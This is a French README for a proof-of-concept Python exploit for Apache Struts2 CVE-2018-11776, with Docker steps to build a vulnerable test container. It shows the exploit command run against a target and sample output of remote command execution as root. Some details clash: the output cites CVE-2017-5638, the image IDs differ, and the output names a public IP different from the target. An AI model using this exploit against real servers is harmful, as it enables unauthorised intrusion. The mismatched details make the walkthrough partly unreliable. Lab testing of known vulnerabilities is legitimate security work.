
Exploit de preuve de concept en Python pour la vulnérabilité d'exécution de code à distance Apache Struts2 CVE-2018-11776, avec un conteneur Docker pour tester les versions affectées 2.3-2.3.34 et 2.5-2.5.16.
Ceci est basé sur https://github.com/hook-s3c/CVE-2018-11776-Python-PoC. La construction du conteneur et les instructions ne fonctionnaient pas comme décrit dans le README, donc ce fork a été créé. L'exploit POC utilisé provient de Rapid7.
Remerciements :
hook-s3c (github.com/hook-s3c), @hook_s3c sur Twitter
Rapid7 https://github.com/rapid7/metasploit-framework/issues/8064
Man Yue Mo de Semmle a divulgué une vulnérabilité RCE Struts2, délivrée dans une charge utile encodée dans le chemin URL d'une requête.
Les versions affectées sont 2.3 à 2.3.34 et 2.5 à 2.5.16.
La configuration par défaut n'est pas vulnérable. Ce conteneur, et beaucoup d'autres, sont vulnérables.
Il est préférable de construire un conteneur à partir d'un Dockerfile lorsque vous pouvez voir ce qui entre dans la construction.
git clone https://github.com/freshdemo/ApacheStruts-CVE-2018-11776 ./Struts
cd Struts
docker build . -t freshdemo/apachestruts
Trouvez le nouveau conteneur avec
docker images
La sortie devrait ressembler à ceci, où vous pouvez obtenir l'ID de l'image.
root@DockerHost:~/ApacheStruts-CVE-2018-11776# docker images REPOSITORY TAG IMAGE ID CREATED SIZE
freshdemo/apachestruts latest 6586cedf49fa About a minute ago 542MB
Construisez et démarrez un conteneur avec la commande suivante.
docker run -d --name apachestruts -p 8080:8080 d39018c50afe
Assurez-vous que les pare-feu d'entrée/sortie autorisent le port que vous avez spécifié plus tôt (8080), et exécutez l'exploit contre votre cible avec la commande suivante.
python struts.py http://192.168.2.188:8080 'id'
Votre sortie devrait ressembler à ceci.
root@k:/home/s# python struts.py http://192.168.2.188:8080 'id' [*] CVE: 2017-5638 - Apache Struts2 S2-045 http://13.88.250.188:8080 : [*] cmd: id uid=0(root) gid=0(root) groups=0(root)